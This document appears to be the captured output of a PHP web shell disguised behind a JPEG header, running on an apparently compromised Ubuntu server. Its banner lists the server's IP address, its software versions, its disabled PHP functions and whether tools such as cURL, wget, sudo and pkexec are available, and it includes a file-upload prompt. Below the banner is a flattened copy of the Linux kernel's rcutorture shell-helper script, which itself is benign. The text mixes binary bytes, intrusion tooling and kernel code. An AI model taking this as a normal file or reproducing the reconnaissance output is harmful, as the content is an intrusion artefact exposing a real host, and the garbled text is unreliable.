����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.117 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/lib/modules/5.4.0-163-generic/build/tools/testing/selftests/rcutorture/bin/ |
Upload File : |
#!/bin/bash # SPDX-License-Identifier: GPL-2.0+ # # Shell functions for the rest of the scripts. # # Copyright (C) IBM Corporation, 2013 # # Authors: Paul E. McKenney <paulmck@linux.ibm.com> # bootparam_hotplug_cpu bootparam-string # # Returns 1 if the specified boot-parameter string tells rcutorture to # test CPU-hotplug operations. bootparam_hotplug_cpu () { echo "$1" | grep -q "rcutorture\.onoff_" } # checkarg --argname argtype $# arg mustmatch cannotmatch # # Checks the specified argument "arg" against the mustmatch and cannotmatch # patterns. checkarg () { if test $3 -le 1 then echo $1 needs argument $2 matching \"$5\" usage fi if echo "$4" | grep -q -e "$5" then : else echo $1 $2 \"$4\" must match \"$5\" usage fi if echo "$4" | grep -q -e "$6" then echo $1 $2 \"$4\" must not match \"$6\" usage fi } # configfrag_boot_params bootparam-string config-fragment-file # # Adds boot parameters from the .boot file, if any. configfrag_boot_params () { if test -r "$2.boot" then echo $1 `grep -v '^#' "$2.boot" | tr '\012' ' '` else echo $1 fi } # configfrag_boot_cpus bootparam-string config-fragment-file config-cpus # # Decreases number of CPUs based on any nr_cpus= boot parameters specified. configfrag_boot_cpus () { local bootargs="`configfrag_boot_params "$1" "$2"`" local nr_cpus if echo "${bootargs}" | grep -q 'nr_cpus=[0-9]' then nr_cpus="`echo "${bootargs}" | sed -e 's/^.*nr_cpus=\([0-9]*\).*$/\1/'`" if test "$3" -gt "$nr_cpus" then echo $nr_cpus else echo $3 fi else echo $3 fi } # configfrag_boot_maxcpus bootparam-string config-fragment-file config-cpus # # Decreases number of CPUs based on any maxcpus= boot parameters specified. # This allows tests where additional CPUs come online later during the # test run. However, the torture parameters will be set based on the # number of CPUs initially present, so the scripting should schedule # test runs based on the maxcpus= boot parameter controlling the initial # number of CPUs instead of on the ultimate number of CPUs. configfrag_boot_maxcpus () { local bootargs="`configfrag_boot_params "$1" "$2"`" local maxcpus if echo "${bootargs}" | grep -q 'maxcpus=[0-9]' then maxcpus="`echo "${bootargs}" | sed -e 's/^.*maxcpus=\([0-9]*\).*$/\1/'`" if test "$3" -gt "$maxcpus" then echo $maxcpus else echo $3 fi else echo $3 fi } # configfrag_hotplug_cpu config-fragment-file # # Returns 1 if the config fragment specifies hotplug CPU. configfrag_hotplug_cpu () { if test ! -r "$1" then echo Unreadable config fragment "$1" 1>&2 exit -1 fi grep -q '^CONFIG_HOTPLUG_CPU=y$' "$1" } # identify_boot_image qemu-cmd # # Returns the relative path to the kernel build image. This will be # arch/<arch>/boot/bzImage or vmlinux if bzImage is not a target for the # architecture, unless overridden with the TORTURE_BOOT_IMAGE environment # variable. identify_boot_image () { if test -n "$TORTURE_BOOT_IMAGE" then echo $TORTURE_BOOT_IMAGE else case "$1" in qemu-system-x86_64|qemu-system-i386) echo arch/x86/boot/bzImage ;; qemu-system-aarch64) echo arch/arm64/boot/Image ;; *) echo vmlinux ;; esac fi } # identify_qemu builddir # # Returns our best guess as to which qemu command is appropriate for # the kernel at hand. Override with the TORTURE_QEMU_CMD environment variable. identify_qemu () { local u="`file "$1"`" if test -n "$TORTURE_QEMU_CMD" then echo $TORTURE_QEMU_CMD elif echo $u | grep -q x86-64 then echo qemu-system-x86_64 elif echo $u | grep -q "Intel 80386" then echo qemu-system-i386 elif echo $u | grep -q aarch64 then echo qemu-system-aarch64 elif uname -a | grep -q ppc64 then echo qemu-system-ppc64 else echo Cannot figure out what qemu command to use! 1>&2 echo file $1 output: $u # Usually this will be one of /usr/bin/qemu-system-* # Use TORTURE_QEMU_CMD environment variable or appropriate # argument to top-level script. exit 1 fi } # identify_qemu_append qemu-cmd # # Output arguments for the qemu "-append" string based on CPU type # and the TORTURE_QEMU_INTERACTIVE environment variable. identify_qemu_append () { local console=ttyS0 case "$1" in qemu-system-x86_64|qemu-system-i386) echo selinux=0 initcall_debug debug ;; qemu-system-aarch64) console=ttyAMA0 ;; esac if test -n "$TORTURE_QEMU_INTERACTIVE" then echo root=/dev/sda else echo console=$console fi } # identify_qemu_args qemu-cmd serial-file # # Output arguments for qemu arguments based on the TORTURE_QEMU_MAC # and TORTURE_QEMU_INTERACTIVE environment variables. identify_qemu_args () { local KVM_CPU="" case "$1" in qemu-system-x86_64) KVM_CPU=kvm64 ;; qemu-system-i386) KVM_CPU=kvm32 ;; esac case "$1" in qemu-system-x86_64|qemu-system-i386) echo -machine q35,accel=kvm echo -cpu ${KVM_CPU} ;; qemu-system-aarch64) echo -machine virt,gic-version=host -cpu host ;; qemu-system-ppc64) echo -enable-kvm -M pseries -nodefaults echo -device spapr-vscsi if test -n "$TORTURE_QEMU_INTERACTIVE" -a -n "$TORTURE_QEMU_MAC" then echo -device spapr-vlan,netdev=net0,mac=$TORTURE_QEMU_MAC echo -netdev bridge,br=br0,id=net0 elif test -n "$TORTURE_QEMU_INTERACTIVE" then echo -net nic -net user fi ;; esac if test -n "$TORTURE_QEMU_INTERACTIVE" then echo -monitor stdio -serial pty -S else echo -serial file:$2 fi } # identify_qemu_vcpus # # Returns the number of virtual CPUs available to the aggregate of the # guest OSes. identify_qemu_vcpus () { lscpu | grep '^CPU(s):' | sed -e 's/CPU(s)://' } # print_bug # # Prints "BUG: " in red followed by remaining arguments print_bug () { printf '\033[031mBUG: \033[m' echo $* } # print_warning # # Prints "WARNING: " in yellow followed by remaining arguments print_warning () { printf '\033[033mWARNING: \033[m' echo $* } # specify_qemu_cpus qemu-cmd qemu-args #cpus # # Appends a string containing "-smp XXX" to qemu-args, unless the incoming # qemu-args already contains "-smp". specify_qemu_cpus () { local nt; if echo $2 | grep -q -e -smp then echo $2 else case "$1" in qemu-system-x86_64|qemu-system-i386|qemu-system-aarch64) echo $2 -smp $3 ;; qemu-system-ppc64) nt="`lscpu | grep '^NUMA node0' | sed -e 's/^[^,]*,\([0-9]*\),.*$/\1/'`" echo $2 -smp cores=`expr \( $3 + $nt - 1 \) / $nt`,threads=$nt ;; esac fi }